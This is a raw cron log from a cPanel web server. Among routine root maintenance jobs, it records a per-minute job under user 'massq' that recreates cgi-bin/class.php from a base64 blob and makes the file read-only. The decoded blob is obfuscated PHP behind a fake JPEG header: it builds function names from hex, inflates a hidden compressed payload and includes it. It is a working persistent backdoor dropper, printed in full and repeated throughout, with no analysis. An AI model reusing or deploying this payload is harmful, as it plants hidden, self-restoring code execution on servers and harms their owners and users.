Sep 10 21:10:01 server CROND[8243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:10:01 server CROND[8242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:10:01 server CROND[8245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:10:01 server CROND[8240]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:10:01 server CROND[8246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:10:01 server CROND[8241]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:11:01 server CROND[9052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:11:01 server CROND[9053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:11:01 server CROND[9054]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:12:01 server CROND[9441]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 21:12:01 server CROND[9442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:12:01 server CROND[9443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:12:01 server CROND[9444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:13:01 server CROND[9924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:13:01 server CROND[9925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:13:01 server CROND[9926]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:14:01 server CROND[10372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:14:01 server CROND[10373]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:14:01 server CROND[10371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:15:01 server CROND[10759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:15:01 server CROND[10760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:15:01 server CROND[10763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:15:01 server CROND[10765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:15:01 server CROND[10766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:15:01 server CROND[10767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:15:01 server CROND[10768]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 21:15:01 server CROND[10764]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:16:01 server CROND[11678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:16:01 server CROND[11679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:16:01 server CROND[11680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:17:01 server CROND[12059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:17:01 server CROND[12060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:17:01 server CROND[12061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:18:01 server CROND[12564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:18:01 server CROND[12563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:18:01 server CROND[12565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:19:01 server CROND[12990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:19:01 server CROND[12991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:19:01 server CROND[12992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:20:01 server CROND[13386]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 21:20:01 server CROND[13388]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 21:20:01 server CROND[13390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 21:20:01 server CROND[13391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:20:01 server CROND[13395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 21:20:01 server CROND[13396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:20:01 server CROND[13393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:20:01 server CROND[13392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 21:20:01 server CROND[13394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 21:21:01 server CROND[14248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:21:01 server CROND[14249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:21:01 server CROND[14250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
